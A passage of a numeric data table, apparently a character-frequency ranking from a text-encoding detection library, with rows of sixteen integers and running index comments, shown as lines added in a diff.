211,3017,2096, 195,3872,1608,3504,3505,3618, # 3014 +3873, 234, 811,2971,2097,3874,2229,1441,3506,1615,2375, 668,2076,1638, 305, 228, # 3030 +1664,4301, 467, 415,7327, 262,2098,1593, 239, 108, 300, 200,1033, 512,1247,2077, # 3046 +7328,7329,2173,3176,3619,2673, 593, 845,1062,3244, 88,1723,2037,3875,1950, 212, # 3062 + 266, 152, 149, 468,1898,4066,4302, 77, 187,7330,3018, 37, 5,2972,7331,3876, # 3078 +7332,7333, 39,2517,4303,2894,3177,2078, 55, 148, 74,4304, 545, 483,1474,1029, # 3094 +1665, 217,1869,1531,3113,1104,2645,4067, 24, 172,3507, 900,3877,3508,3509,4305, # 3110 + 32,1408,2811,1312, 329, 487,2355,2247,2708, 784,2674, 4,3019,3314,1427,1788, # 3126 + 188, 109, 499,7334,3620,1717,1789, 888,1217,3020,4306,7335,3510,7336,3315,1520, # 3142 +3621,3878, 196,1034, 775,7337,7338, 929,1815, 249, 439, 38,7339,1063,7340, 794, # 3158 +3879,1435,2296, 46, 178,3245,2065,7341,2376,7342, 214,1709,4307, 804, 35, 707, # 3174 + 324,3622,1601,2546, 140, 459,4068,7343,7344,1365, 839, 272, 978,2257,2572,3409, # 3190 +2128,1363,3623,1423, 697, 100,3071, 48, 70,1231, 495,3114,2193,7345,1294,7346, # 3206 +2079, 462, 586,1042,3246, 853, 256, 988, 185,2377,3410,1698, 434,1084,7347,3411, # 3222 + 314,2615,2775,4308,2330,2331, 569,2280, 637,1816,2518, 757,1162,1878,1616,3412, # 3238 + 287,1577,2115, 768,4309,1671,2854,3511,2519,1321,3737, 909,2413,7348,4069, 933, # 3254 +3738,7349,2052,2356,1222,4310, 765,2414,1322, 786,4311,7350,1919,1462,1677,2895, # 3270 +1699,7351,4312,1424,2437,3115,3624,2590,3316,1774,1940,3413,3880,4070, 309,1369, # 3286 +1130,2812, 364,2230,1653,1299,3881,3512,3882,3883,2646, 525,1085,3021, 902,2000, # 3302 +1475, 964,4313, 421,1844,1415,1057,2281, 940,1364,3116, 376,4314,4315,1381, 7, # 3318 +2520, 983,2378, 336,1710,2675,1845, 321,3414, 559,1131,3022,2742,1808,1132,1313, # 3334 + 265,1481,1857,7352, 352,1203,2813,3247, 167,1089, 420,2814, 776, 792,1724,3513, # 3350 +4071,2438,3248,7353,4072,7354, 446, 229, 333,2743, 901,3739,1200,1557,4316,2647, # 3366 +1920, 395,2744,2676,3740,4073,1835, 125, 916,3178,2616,4317,7355,7356,3741,7357, # 3382 +7358,7359,4318,3117,3625,1133,2547,1757,3415,1510,2313,1409,3514,7360,2145, 438, # 3398 +2591,2896,2379,3317,1068, 958,3023, 461, 311,2855,2677,4074,1915,3179,4075,1978, # 3414 + 383, 750,2745,2617,4076, 274, 539, 385,1278,1442,7361,1154,1964, 384, 561, 210, # 3430 + 98,1295,2548,3515,7362,1711,2415,1482,3416,3884,2897,1257, 129,7363,3742, 642, # 3446 + 523,2776,2777,2648,7364, 141,2231,1333, 68, 176, 441, 876, 907,4077, 603,2592, # 3462 + 710, 171,3417, 404, 549, 18,3118,2393,1410,3626,1666,7365,3516,4319,2898,4320, # 3478 +7366,2973, 368,7367, 146, 366, 99, 871,3627,1543, 748, 807,1586,1185, 22,2258, # 3494 + 379,3743,3180,7368,3181, 505,1941,2618,1991,1382,2314,7369, 380,2357, 218, 702, # 3510 +1817,1248,3418,3024,3517,3318,3249,7370,2974,3628, 930,3250,3744,7371, 59,7372, # 3526 + 585, 601,4078, 497,3419,1112,1314,4321,1801,7373,1223,1472,2174,7374, 749,1836, # 3542 + 690,1899,3745,1772,3885,1476, 429,1043,1790,2232,2116, 917,4079, 447,1086,1629, # 3558 +7375, 556,7376,7377,2020,1654, 844,1090, 105, 550, 966,1758,2815,1008,1782, 686, # 3574 +1095,7378,2282, 793,1602,7379,3518,2593,4322,4080,2933,2297,4323,3746, 980,2496, # 3590 + 544, 353, 527,4324, 908,2678,2899,7380, 381,2619,1942,1348,7381,1341,1252, 560, # 3606 +3072,7382,3420,2856,7383,2053, 973, 886,2080, 143,4325,7384,7385, 157,3886, 496, # 3622 +4081, 57, 840, 540,2038,4326,4327,3421,2117,1445, 970,2259,1748,1965,2081,4082, # 3638 +3119,1234,1775,3251,2816,3629, 773,1206,2129,1066,2039,1326,3887,1738,1725,4083, # 3654 + 279,3120, 51,1544,2594, 423,1578,2130,2066, 173,4328,1879,7386,7387,1583, 264, # 3670 + 610,3630,4329,2439, 280, 154,7388,7389,7390,1739, 338,1282,3073, 693,2857,1411, # 3686 +1074,3747,2440,7391,4330,7392,7393,1240, 952,2394,7394,2900,1538,2679, 685,1483, # 3702 +4084,2468,1436, 953,4085,2054,4331, 671,2395, 79,4086,2441,3252, 608, 567,2680, # 3718 +3422,4087,4088,1691, 393,1261,1791,2396,7395,4332,7396,7397,7398,7399,1383,1672, # 3734 +3748,3182,1464, 522,1119, 661,1150, 216, 675,4333,3888,1432,3519, 609,4334,2681, # 3750 +2397,7400,7401,7402,4089,3025, 0,7403,2469, 315, 231,2442, 301,3319,4335,2380, # 3766 +7404, 233,4090,3631,1818,4336,4337,7405, 96,1776,1315,2082,7406, 257,7407,1809, # 3782 +3632,2709,1139,1819,4091,2021,1124,2163,2778,1777,2649,7408,3074, 363,1655,3183, # 3798 +7409,2975,7410,7411,7412,3889,1567,3890, 718, 103,3184, 849,1443, 341,3320,2934, # 3814 +1484,7413,1712, 127, 67, 339,4092,2398, 679,1412, 821,7414,7415, 834, 738, 351, # 3830 +2976,2146, 846, 235,1497,1880, 418,1992,3749,2710, 186,1100,2147,2746,3520,1545, # 3846 +1355,2935,2858,1377, 583,3891,4093,2573,2977,7416,1298,3633,1078,2549,3634,2358, # 3862 + 78,3750,3751, 267,1289,2099,2001,1594,4094, 348, 369,1274,2194,2175,1837,4338, # 3878 +1820,2817,3635,2747,2283,2002,4339,2936,2748, 144,3321, 882,4340,3892,2749,3423, # 3894 +4341,2901,7417,4095,1726, 320,7418,3893,3026, 788,2978,7419,2818,1773,1327,2859, # 3910 +3894,2819,7420,1306,4342,2003,1700,3752,3521,2359,2650, 787,2022, 506, 824,3636, # 3926 + 534, 323,4343,1044,3322,2023,1900, 946,3424,7421,1778,1500,1678,7422,1881,4344, # 3942 + 165, 243,4345,3637,2521, 123, 683,4096, 764,4346, 36,3895,1792, 589,2902, 816, # 3958 + 626,1667,3027,2233,1639,1555,1622,3753,3896,7423,3897,2860,1370,1228,1932, 891, # 3974 +2083,2903, 304,4097,7424, 292,2979,2711,3522, 691,2100,4098,1115,4347, 118, 662, # 3990 +7425, 611,1156, 854,2381,1316,2861, 2, 386, 515,2904,7426,7427,3253, 868,2234, # 4006 +1486, 855,2651, 785,2212,3028,7428,1040,3185,3523,7429,3121, 448,7430,1525,7431, # 4022 +2164,4348,7432,3754,7433,4099,2820,3524,3122, 503, 818,3898,3123,1568, 814, 676, # 4038 +1444, 306,1749,7434,3755,1416,1030, 197,1428, 805,2821,1501,4349,7435,7436,7437, # 4054 +1993,7438,4350,7439,7440,2195, 13,2779,3638,2980,3124,1229,1916,7441,3756,2131, # 4070 +7442,4100,4351,2399,3525,7443,2213,1511,1727,1120,7444,7445, 646,3757,2443, 307, # 4086 +7446,7447,1595,3186,7448,7449,7450,3639,1113,1356,3899,1465,2522,2523,7451, 519, # 4102 +7452, 128,2132, 92,2284,1979,7453,3900,1512, 342,3125,2196,7454,2780,2214,1980, # 4118 +3323,7455, 290,1656,1317, 789, 827,2360,7456,3758,4352, 562, 581,3901,7457, 401, # 4134 +4353,2248, 94,4354,1399,2781,7458,1463,2024,4355,3187,1943,7459, 828,1105,4101, # 4150 +1262,1394,7460,4102, 605,4356,7461,1783,2862,7462,2822, 819,2101, 578,2197,2937, # 4166 +7463,1502, 436,3254,4103,3255,2823,3902,2905,3425,3426,7464,2712,2315,7465,7466, # 4182 +2332,2067, 23,4357, 193, 826,3759,2102, 699,1630,4104,3075, 390,1793,1064,3526, # 4198 +7467,1579,3076,3077,1400,7468,4105,1838,1640,2863,7469,4358,4359, 137,4106, 598, # 4214 +3078,1966, 780, 104, 974,2938,7470, 278, 899, 253, 402, 572, 504, 493,1339,7471, # 4230 +3903,1275,4360,2574,2550,7472,3640,3029,3079,2249, 565,1334,2713, 863, 41,7473, # 4246 +7474,4361,7475,1657,2333, 19, 463,2750,4107, 606,7476,2981,3256,1087,2084,1323, # 4262 +2652,2982,7477,1631,1623,1750,4108,2682,7478,2864, 791,2714,2653,2334, 232,2416, # 4278 +7479,2983,1498,7480,2654,2620, 755,1366,3641,3257,3126,2025,1609, 119,1917,3427, # 4294 + 862,1026,4109,7481,3904,3760,4362,3905,4363,2260,1951,2470,7482,1125, 817,4110, # 4310 +4111,3906,1513,1766,2040,1487,4112,3030,3258,2824,3761,3127,7483,7484,1507,7485, # 4326 +2683, 733, 40,1632,1106,2865, 345,4113, 841,2524, 230,4364,2984,1846,3259,3428, # 4342 +7486,1263, 986,3429,7487, 735, 879, 254,1137, 857, 622,1300,1180,1388,1562,3907, # 4358 +3908,2939, 967,2751,2655,1349, 592,2133,1692,3324,2985,1994,4114,1679,3909,1901, # 4374 +2185,7488, 739,3642,2715,1296,1290,7489,4115,2198,2199,1921,1563,2595,2551,1870, # 4390 +2752,2986,7490, 435,7491, 343,1108, 596, 17,1751,4365,2235,3430,3643,7492,4366, # 4406 + 294,3527,2940,1693, 477, 979, 281,2041,3528, 643,2042,3644,2621,2782,2261,1031, # 4422 +2335,2134,2298,3529,4367, 367,1249,2552,7493,3530,7494,4368,1283,3325,2004, 240, # 4438 +1762,3326,4369,4370, 836,1069,3128, 474,7495,2148,2525, 268,3531,7496,3188,1521, # 4454 +1284,7497,1658,1546,4116,7498,3532,3533,7499,4117,3327,2684,1685,4118, 961,1673, # 4470 +2622, 190,2005,2200,3762,4371,4372,7500, 570,2497,3645,1490,7501,4373,2623,3260, # 4486 +1956,4374, 584,1514, 396,1045,1944,7502,4375,1967,2444,7503,7504,4376,3910, 619, # 4502 +7505,3129,3261, 215,2006,2783,2553,3189,4377,3190,4378, 763,4119,3763,4379,7506, # 4518 +7507,1957,1767,2941,3328,3646,1174, 452,1477,4380,3329,3130,7508,2825,1253,2382, # 4534 +2186,1091,2285,4120, 492,7509, 638,1169,1824,2135,1752,3911, 648, 926,1021,1324, # 4550 +4381, 520,4382, 997, 847,1007, 892,4383,3764,2262,1871,3647,7510,2400,1784,4384, # 4566 +1952,2942,3080,3191,1728,4121,2043,3648,4385,2007,1701,3131,1551, 30,2263,4122, # 4582 +7511,2026,4386,3534,7512, 501,7513,4123, 594,3431,2165,1821,3535,3432,3536,3192, # 4598 + 829,2826,4124,7514,1680,3132,1225,4125,7515,3262,4387,4126,3133,2336,7516,4388, # 4614 +4127,7517,3912,3913,7518,1847,2383,2596,3330,7519,4389, 374,3914, 652,4128,4129, # 4630 + 375,1140, 798,7520,7521,7522,2361,4390,2264, 546,1659, 138,3031,2445,4391,7523, # 4646 +2250, 612,1848, 910, 796,3765,1740,1371, 825,3766,3767,7524,2906,2554,7525, 692, # 4662 + 444,3032,2624, 801,4392,4130,7526,1491, 244,1053,3033,4131,4132, 340,7527,3915, # 4678 +1041,2987, 293,1168, 87,1357,7528,1539, 959,7529,2236, 721, 694,4133,3768, 219, # 4694 +1478, 644,1417,3331,2656,1413,1401,1335,1389,3916,7530,7531,2988,2362,3134,1825, # 4710 + 730,1515, 184,2827, 66,4393,7532,1660,2943, 246,3332, 378,1457, 226,3433, 975, # 4726 +3917,2944,1264,3537, 674, 696,7533, 163,7534,1141,2417,2166, 713,3538,3333,4394, # 4742 +3918,7535,7536,1186, 15,7537,1079,1070,7538,1522,3193,3539, 276,1050,2716, 758, # 4758 +1126, 653,2945,3263,7539,2337, 889,3540,3919,3081,2989, 903,1250,4395,3920,3434, # 4774 +3541,1342,1681,1718, 766,3264, 286, 89,2946,3649,7540,1713,7541,2597,3334,2990, # 4790 +7542,2947,2215,3194,2866,7543,4396,2498,2526, 181, 387,1075,3921, 731,2187,3335, # 4806 +7544,3265, 310, 313,3435,2299, 770,4134, 54,3034, 189,4397,3082,3769,3922,7545, # 4822 +1230,1617,1849, 355,3542,4135,4398,3336, 111,4136,3650,1350,3135,3436,3035,4137, # 4838 +2149,3266,3543,7546,2784,3923,3924,2991, 722,2008,7547,1071, 247,1207,2338,2471, # 4854 +1378,4399,2009, 864,1437,1214,4400, 373,3770,1142,2216, 667,4401, 442,2753,2555, # 4870 +3771,3925,1968,4138,3267,1839, 837, 170,1107, 934,1336,1882,7548,7549,2118,4139, # 4886 +2828, 743,1569,7550,4402,4140, 582,2384,1418,3437,7551,1802,7552, 357,1395,1729, # 4902 +3651,3268,2418,1564,2237,7553,3083,3772,1633,4403,1114,2085,4141,1532,7554, 482, # 4918 +2446,4404,7555,7556,1492, 833,1466,7557,2717,3544,1641,2829,7558,1526,1272,3652, # 4934 +4142,1686,1794, 416,2556,1902,1953,1803,7559,3773,2785,3774,1159,2316,7560,2867, # 4950 +4405,1610,1584,3036,2419,2754, 443,3269,1163,3136,7561,7562,3926,7563,4143,2499, # 4966 +3037,4406,3927,3137,2103,1647,3545,2010,1872,4144,7564,4145, 431,3438,7565, 250, # 4982 + 97, 81,4146,7566,1648,1850,1558, 160, 848,7567, 866, 740,1694,7568,2201,2830, # 4998 +3195,4147,4407,3653,1687, 950,2472, 426, 469,3196,3654,3655,3928,7569,7570,1188, # 5014 + 424,1995, 861,3546,4148,3775,2202,2685, 168,1235,3547,4149,7571,2086,1674,4408, # 5030 +3337,3270, 220,2557,1009,7572,3776, 670,2992, 332,1208, 717,7573,7574,3548,2447, # 5046 +3929,3338,7575, 513,7576,1209,2868,3339,3138,4409,1080,7577,7578,7579,7580,2527, # 5062 +3656,3549, 815,1587,3930,3931,7581,3550,3439,3777,1254,4410,1328,3038,1390,3932, # 5078 +1741,3933,3778,3934,7582, 236,3779,2448,3271,7583,7584,3657,3780,1273,3781,4411, # 5094 +7585, 308,7586,4412, 245,4413,1851,2473,1307,2575, 430, 715,2136,2449,7587, 270, # 5110 + 199,2869,3935,7588,3551,2718,1753, 761,1754, 725,1661,1840,4414,3440,3658,7589, # 5126 +7590, 587, 14,3272, 227,2598, 326, 480,2265, 943,2755,3552, 291, 650,1883,7591, # 5142 +1702,1226, 102,1547, 62,3441, 904,4415,3442,1164,4150,7592,7593,1224,1548,2756, # 5158 + 391, 498,1493,7594,1386,1419,7595,2055,1177,4416, 813, 880,1081,2363, 566,1145, # 5174 +4417,2286,1001,1035,2558,2599,2238, 394,1286,7596,7597,2068,7598, 86,1494,1730, # 5190 +3936, 491,1588, 745, 897,2948, 843,3340,3937,2757,2870,3273,1768, 998,2217,2069, # 5206 + 397,1826,1195,1969,3659,2993,3341, 284,7599,3782,2500,2137,2119,1903,7600,3938, # 5222 +2150,3939,4151,1036,3443,1904, 114,2559,4152, 209,1527,7601,7602,2949,2831,2625, # 5238 +2385,2719,3139, 812,2560,7603,3274,7604,1559, 737,1884,3660,1210, 885, 28,2686, # 5254 +3553,3783,7605,4153,1004,1779,4418,7606, 346,1981,2218,2687,4419,3784,1742, 797, # 5270 +1642,3940,1933,1072,1384,2151, 896,3941,3275,3661,3197,2871,3554,7607,2561,1958, # 5286 +4420,2450,1785,7608,7609,7610,3942,4154,1005,1308,3662,4155,2720,4421,4422,1528, # 5302 +2600, 161,1178,4156,1982, 987,4423,1101,4157, 631,3943,1157,3198,2420,1343,1241, # 5318 +1016,2239,2562, 372, 877,2339,2501,1160, 555,1934, 911,3944,7611, 466,1170, 169, # 5334 +1051,2907,2688,3663,2474,2994,1182,2011,2563,1251,2626,7612, 992,2340,3444,1540, # 5350 +2721,1201,2070,2401,1996,2475,7613,4424, 528,1922,2188,1503,1873,1570,2364,3342, # 5366 +3276,7614, 557,1073,7615,1827,3445,2087,2266,3140,3039,3084, 767,3085,2786,4425, # 5382 +1006,4158,4426,2341,1267,2176,3664,3199, 778,3945,3200,2722,1597,2657,7616,4427, # 5398 +7617,3446,7618,7619,7620,3277,2689,1433,3278, 131, 95,1504,3946, 723,4159,3141, # 5414 +1841,3555,2758,2189,3947,2027,2104,3665,7621,2995,3948,1218,7622,3343,3201,3949, # 5430 +4160,2576, 248,1634,3785, 912,7623,2832,3666,3040,3786, 654, 53,7624,2996,7625, # 5446 +1688,4428, 777,3447,1032,3950,1425,7626, 191, 820,2120,2833, 971,4429, 931,3202, # 5462 + 135, 664, 783,3787,1997, 772,2908,1935,3951,3788,4430,2909,3203, 282,2723, 640, # 5478 +1372,3448,1127, 922, 325,3344,7627,7628, 711,2044,7629,7630,3952,2219,2787,1936, # 5494 +3953,3345,2220,2251,3789,2300,7631,4431,3790,1258,3279,3954,3204,2138,2950,3955, # 5510 +3956,7632,2221, 258,3205,4432, 101,1227,7633,3280,1755,7634,1391,3281,7635,2910, # 5526 +2056, 893,7636,7637,7638,1402,4161,2342,7639,7640,3206,3556,7641,7642, 878,1325, # 5542 +1780,2788,4433, 259,1385,2577, 744,1183,2267,4434,7643,3957,2502,7644, 684,1024, # 5558 +4162,7645, 472,3557,3449,1165,3282,3958,3959, 322,2152, 881, 455,1695,1152,1340, # 5574 + 660, 554,2153,4435,1058,4436,4163, 830,1065,3346,3960,4437,1923,7646,1703,1918, # 5590 +7647, 932,2268, 122,7648,4438, 947, 677,7649,3791,2627, 297,1905,1924,2269,4439, # 5606 +2317,3283,7650,7651,4164,7652,4165, 84,4166, 112, 989,7653, 547,1059,3961, 701, # 5622 +3558,1019,7654,4167,7655,3450, 942, 639, 457,2301,2451, 993,2951, 407, 851, 494, # 5638 +4440,3347, 927,7656,1237,7657,2421,3348, 573,4168, 680, 921,2911,1279,1874, 285, # 5654 + 790,1448,1983, 719,2167,7658,7659,4441,3962,3963,1649,7660,1541, 563,7661,1077, # 5670 +7662,3349,3041,3451, 511,2997,3964,3965,3667,3966,1268,2564,3350,3207,4442,4443, # 5686 +7663, 535,1048,1276,1189,2912,2028,3142,1438,1373,2834,2952,1134,2012,7664,4169, # 5702 +1238,2578,3086,1259,7665, 700,7666,2953,3143,3668,4170,7667,4171,1146,1875,1906, # 5718 +4444,2601,3967, 781,2422, 132,1589, 203, 147, 273,2789,2402, 898,1786,2154,3968, # 5734 +3969,7668,3792,2790,7669,7670,4445,4446,7671,3208,7672,1635,3793, 965,7673,1804, # 5750 +2690,1516,3559,1121,1082,1329,3284,3970,1449,3794, 65,1128,2835,2913,2759,1590, # 5766 +3795,7674,7675, 12,2658, 45, 976,2579,3144,4447, 517,2528,1013,1037,3209,7676, # 5782 +3796,2836,7677,3797,7678,3452,7679,2602, 614,1998,2318,3798,3087,2724,2628,7680, # 5798 +2580,4172, 599,1269,7681,1810,3669,7682,2691,3088, 759,1060, 489,1805,3351,3285, # 5814 +1358,7683,7684,2386,1387,1215,2629,2252, 490,7685,7686,4173,1759,2387,2343,7687, # 5830 +4448,3799,1907,3971,2630,1806,3210,4449,3453,3286,2760,2344, 874,7688,7689,3454, # 5846 +3670,1858, 91,2914,3671,3042,3800,4450,7690,3145,3972,2659,7691,3455,1202,1403, # 5862 +3801,2954,2529,1517,2503,4451,3456,2504,7692,4452,7693,2692,1885,1495,1731,3973, # 5878 +2365,4453,7694,2029,7695,7696,3974,2693,1216, 237,2581,4174,2319,3975,3802,4454, # 5894 +4455,2694,3560,3457, 445,4456,7697,7698,7699,7700,2761, 61,3976,3672,1822,3977, # 5910 +7701, 687,2045, 935, 925, 405,2660, 703,1096,1859,2725,4457,3978,1876,1367,2695, # 5926 +3352, 918,2105,1781,2476, 334,3287,1611,1093,4458, 564,3146,3458,3673,3353, 945, # 5942 +2631,2057,4459,7702,1925, 872,4175,7703,3459,2696,3089, 349,4176,3674,3979,4460, # 5958 +3803,4177,3675,2155,3980,4461,4462,4178,4463,2403,2046, 782,3981, 400, 251,4179, # 5974 +1624,7704,7705, 277,3676, 299,1265, 476,1191,3804,2121,4180,4181,1109, 205,7706, # 5990 +2582,1000,2156,3561,1860,7707,7708,7709,4464,7710,4465,2565, 107,2477,2157,3982, # 6006 +3460,3147,7711,1533, 541,1301, 158, 753,4182,2872,3562,7712,1696, 370,1088,4183, # 6022 +4466,3563, 579, 327, 440, 162,2240, 269,1937,1374,3461, 968,3043, 56,1396,3090, # 6038 +2106,3288,3354,7713,1926,2158,4467,2998,7714,3564,7715,7716,3677,4468,2478,7717, # 6054 +2791,7718,1650,4469,7719,2603,7720,7721,3983,2661,3355,1149,3356,3984,3805,3985, # 6070 +7722,1076, 49,7723, 951,3211,3289,3290, 450,2837, 920,7724,1811,2792,2366,4184, # 6086 +1908,1138,2367,3806,3462,7725,3212,4470,1909,1147,1518,2423,4471,3807,7726,4472, # 6102 +2388,2604, 260,1795,3213,7727,7728,3808,3291, 708,7729,3565,1704,7730,3566,1351, # 6118 +1618,3357,2999,1886, 944,4185,3358,4186,3044,3359,4187,7731,3678, 422, 413,1714, # 6134 +3292, 500,2058,2345,4188,2479,7732,1344,1910, 954,7733,1668,7734,7735,3986,2404, # 6150 +4189,3567,3809,4190,7736,2302,1318,2505,3091, 133,3092,2873,4473, 629, 31,2838, # 6166 +2697,3810,4474, 850, 949,4475,3987,2955,1732,2088,4191,1496,1852,7737,3988, 620, # 6182 +3214, 981,1242,3679,3360,1619,3680,1643,3293,2139,2452,1970,1719,3463,2168,7738, # 6198 +3215,7739,7740,3361,1828,7741,1277,4476,1565,2047,7742,1636,3568,3093,7743, 869, # 6214 +2839, 655,3811,3812,3094,3989,3000,3813,1310,3569,4477,7744,7745,7746,1733, 558, # 6230 +4478,3681, 335,1549,3045,1756,4192,3682,1945,3464,1829,1291,1192, 470,2726,2107, # 6246 +2793, 913,1054,3990,7747,1027,7748,3046,3991,4479, 982,2662,3362,3148,3465,3216, # 6262 +3217,1946,2794,7749, 571,4480,7750,1830,7751,3570,2583,1523,2424,7752,2089, 984, # 6278 +4481,3683,1959,7753,3684, 852, 923,2795,3466,3685, 969,1519, 999,2048,2320,1705, # 6294 +7754,3095, 615,1662, 151, 597,3992,2405,2321,1049, 275,4482,3686,4193, 568,3687, # 6310 +3571,2480,4194,3688,7755,2425,2270, 409,3218,7756,1566,2874,3467,1002, 769,2840, # 6326 + 194,2090,3149,3689,2222,3294,4195, 628,1505,7757,7758,1763,2177,3001,3993, 521, # 6342 +1161,2584,1787,2203,2406,4483,3994,1625,4196,4197, 412, 42,3096, 464,7759,2632, # 6358 +4484,3363,1760,1571,2875,3468,2530,1219,2204,3814,2633,2140,2368,4485,4486,3295, # 6374 +1651,3364,3572,7760,7761,3573,2481,3469,7762,3690,7763,7764,2271,2091, 460,7765, # 6390 +4487,7766,3002, 962, 588,3574, 289,3219,2634,1116, 52,7767,3047,1796,7768,7769, # 6406 +7770,1467,7771,1598,1143,3691,4198,1984,1734,1067,4488,1280,3365, 465,4489,1572, # 6422 + 510,7772,1927,2241,1812,1644,3575,7773,4490,3692,7774,7775,2663,1573,1534,7776, # 6438 +7777,4199, 536,1807,1761,3470,3815,3150,2635,7778,7779,7780,4491,3471,2915,1911, # 6454 +2796,7781,3296,1122, 377,3220,7782, 360,7783,7784,4200,1529, 551,7785,2059,3693, # 6470 +1769,2426,7786,2916,4201,3297,3097,2322,2108,2030,4492,1404, 136,1468,1479, 672, # 6486 +1171,3221,2303, 271,3151,7787,2762,7788,2049, 678,2727, 865,1947,4493,7789,2013, # 6502 +3995,2956,7790,2728,2223,1397,3048,3694,4494,4495,1735,2917,3366,3576,7791,3816, # 6518 + 509,2841,2453,2876,3817,7792,7793,3152,3153,4496,4202,2531,4497,2304,1166,1010, # 6534 + 552, 681,1887,7794,7795,2957,2958,3996,1287,1596,1861,3154, 358, 453, 736, 175, # 6550 + 478,1117, 905,1167,1097,7796,1853,1530,7797,1706,7798,2178,3472,2287,3695,3473, # 6566 +3577,4203,2092,4204,7799,3367,1193,2482,4205,1458,2190,2205,1862,1888,1421,3298, # 6582 +2918,3049,2179,3474, 595,2122,7800,3997,7801,7802,4206,1707,2636, 223,3696,1359, # 6598 + 751,3098, 183,3475,7803,2797,3003, 419,2369, 633, 704,3818,2389, 241,7804,7805, # 6614 +7806, 838,3004,3697,2272,2763,2454,3819,1938,2050,3998,1309,3099,2242,1181,7807, # 6630 +1136,2206,3820,2370,1446,4207,2305,4498,7808,7809,4208,1055,2605, 484,3698,7810, # 6646 +3999, 625,4209,2273,3368,1499,4210,4000,7811,4001,4211,3222,2274,2275,3476,7812, # 6662 +7813,2764, 808,2606,3699,3369,4002,4212,3100,2532, 526,3370,3821,4213, 955,7814, # 6678 +1620,4214,2637,2427,7815,1429,3700,1669,1831, 994, 928,7816,3578,1260,7817,7818, # 6694 +7819,1948,2288, 741,2919,1626,4215,2729,2455, 867,1184, 362,3371,1392,7820,7821, # 6710 +4003,4216,1770,1736,3223,2920,4499,4500,1928,2698,1459,1158,7822,3050,3372,2877, # 6726 +1292,1929,2506,2842,3701,1985,1187,2071,2014,2607,4217,7823,2566,2507,2169,3702, # 6742 +2483,3299,7824,3703,4501,7825,7826, 666,1003,3005,1022,3579,4218,7827,4502,1813, # 6758 +2253, 574,3822,1603, 295,1535, 705,3823,4219, 283, 858, 417,7828,7829,3224,4503, # 6774 +4504,3051,1220,1889,1046,2276,2456,4004,1393,1599, 689,2567, 388,4220,7830,2484, # 6790 + 802,7831,2798,3824,2060,1405,2254,7832,4505,3825,2109,1052,1345,3225,1585,7833, # 6806 + 809,7834,7835,7836, 575,2730,3477, 956,1552,1469,1144,2323,7837,2324,1560,2457, # 6822 +3580,3226,4005, 616,2207,3155,2180,2289,7838,1832,7839,3478,4506,7840,1319,3704, # 6838 +3705,1211,3581,1023,3227,1293,2799,7841,7842,7843,3826, 607,2306,3827, 762,2878, # 6854 +1439,4221,1360,7844,1485,3052,7845,4507,1038,4222,1450,2061,2638,4223,1379,4508, # 6870 +2585,7846,7847,4224,1352,1414,2325,2921,1172,7848,7849,3828,3829,7850,1797,1451, # 6886 +7851,7852,7853,7854,2922,4006,4007,2485,2346, 411,4008,4009,3582,3300,3101,4509, # 6902 +1561,2664,1452,4010,1375,7855,7856, 47,2959, 316,7857,1406,1591,2923,3156,7858, # 6918 +1025,2141,3102,3157, 354,2731, 884,2224,4225,2407, 508,3706, 726,3583, 996,2428, # 6934 +3584, 729,7859, 392,2191,1453,4011,4510,3707,7860,7861,2458,3585,2608,1675,2800, # 6950 + 919,2347,2960,2348,1270,4511,4012, 73,7862,7863, 647,7864,3228,2843,2255,1550, # 6966 +1346,3006,7865,1332, 883,3479,7866,7867,7868,7869,3301,2765,7870,1212, 831,1347, # 6982 +4226,4512,2326,3830,1863,3053, 720,3831,4513,4514,3832,7871,4227,7872,7873,4515, # 6998 +7874,7875,1798,4516,3708,2609,4517,3586,1645,2371,7876,7877,2924, 669,2208,2665, # 7014 +2429,7878,2879,7879,7880,1028,3229,7881,4228,2408,7882,2256,1353,7883,7884,4518, # 7030 +3158, 518,7885,4013,7886,4229,1960,7887,2142,4230,7888,7889,3007,2349,2350,3833, # 7046 + 516,1833,1454,4014,2699,4231,4519,2225,2610,1971,1129,3587,7890,2766,7891,2961, # 7062 +1422, 577,1470,3008,1524,3373,7892,7893, 432,4232,3054,3480,7894,2586,1455,2508, # 7078 +2226,1972,1175,7895,1020,2732,4015,3481,4520,7896,2733,7897,1743,1361,3055,3482, # 7094 +2639,4016,4233,4521,2290, 895, 924,4234,2170, 331,2243,3056, 166,1627,3057,1098, # 7110 +7898,1232,2880,2227,3374,4522, 657, 403,1196,2372, 542,3709,3375,1600,4235,3483, # 7126 +7899,4523,2767,3230, 576, 530,1362,7900,4524,2533,2666,3710,4017,7901, 842,3834, # 7142 +7902,2801,2031,1014,4018, 213,2700,3376, 665, 621,4236,7903,3711,2925,2430,7904, # 7158 +2431,3302,3588,3377,7905,4237,2534,4238,4525,3589,1682,4239,3484,1380,7906, 724, # 7174 +2277, 600,1670,7907,1337,1233,4526,3103,2244,7908,1621,4527,7909, 651,4240,7910, # 7190 +1612,4241,2611,7911,2844,7912,2734,2307,3058,7913, 716,2459,3059, 174,1255,2701, # 7206 +4019,3590, 548,1320,1398, 728,4020,1574,7914,1890,1197,3060,4021,7915,3061,3062, # 7222 +3712,3591,3713, 747,7916, 635,4242,4528,7917,7918,7919,4243,7920,7921,4529,7922, # 7238 +3378,4530,2432, 451,7923,3714,2535,2072,4244,2735,4245,4022,7924,1764,4531,7925, # 7254 +4246, 350,7926,2278,2390,2486,7927,4247,4023,2245,1434,4024, 488,4532, 458,4248, # 7270 +4025,3715, 771,1330,2391,3835,2568,3159,2159,2409,1553,2667,3160,4249,7928,2487, # 7286 +2881,2612,1720,2702,4250,3379,4533,7929,2536,4251,7930,3231,4252,2768,7931,2015, # 7302 +2736,7932,1155,1017,3716,3836,7933,3303,2308, 201,1864,4253,1430,7934,4026,7935, # 7318 +7936,7937,7938,7939,4254,1604,7940, 414,1865, 371,2587,4534,4535,3485,2016,3104, # 7334 +4536,1708, 960,4255, 887, 389,2171,1536,1663,1721,7941,2228,4027,2351,2926,1580, # 7350 +7942,7943,7944,1744,7945,2537,4537,4538,7946,4539,7947,2073,7948,7949,3592,3380, # 7366 +2882,4256,7950,4257,2640,3381,2802, 673,2703,2460, 709,3486,4028,3593,4258,7951, # 7382 +1148, 502, 634,7952,7953,1204,4540,3594,1575,4541,2613,3717,7954,3718,3105, 948, # 7398 +3232, 121,1745,3837,1110,7955,4259,3063,2509,3009,4029,3719,1151,1771,3838,1488, # 7414 +4030,1986,7956,2433,3487,7957,7958,2093,7959,4260,3839,1213,1407,2803, 531,2737, # 7430 +2538,3233,1011,1537,7960,2769,4261,3106,1061,7961,3720,3721,1866,2883,7962,2017, # 7446 + 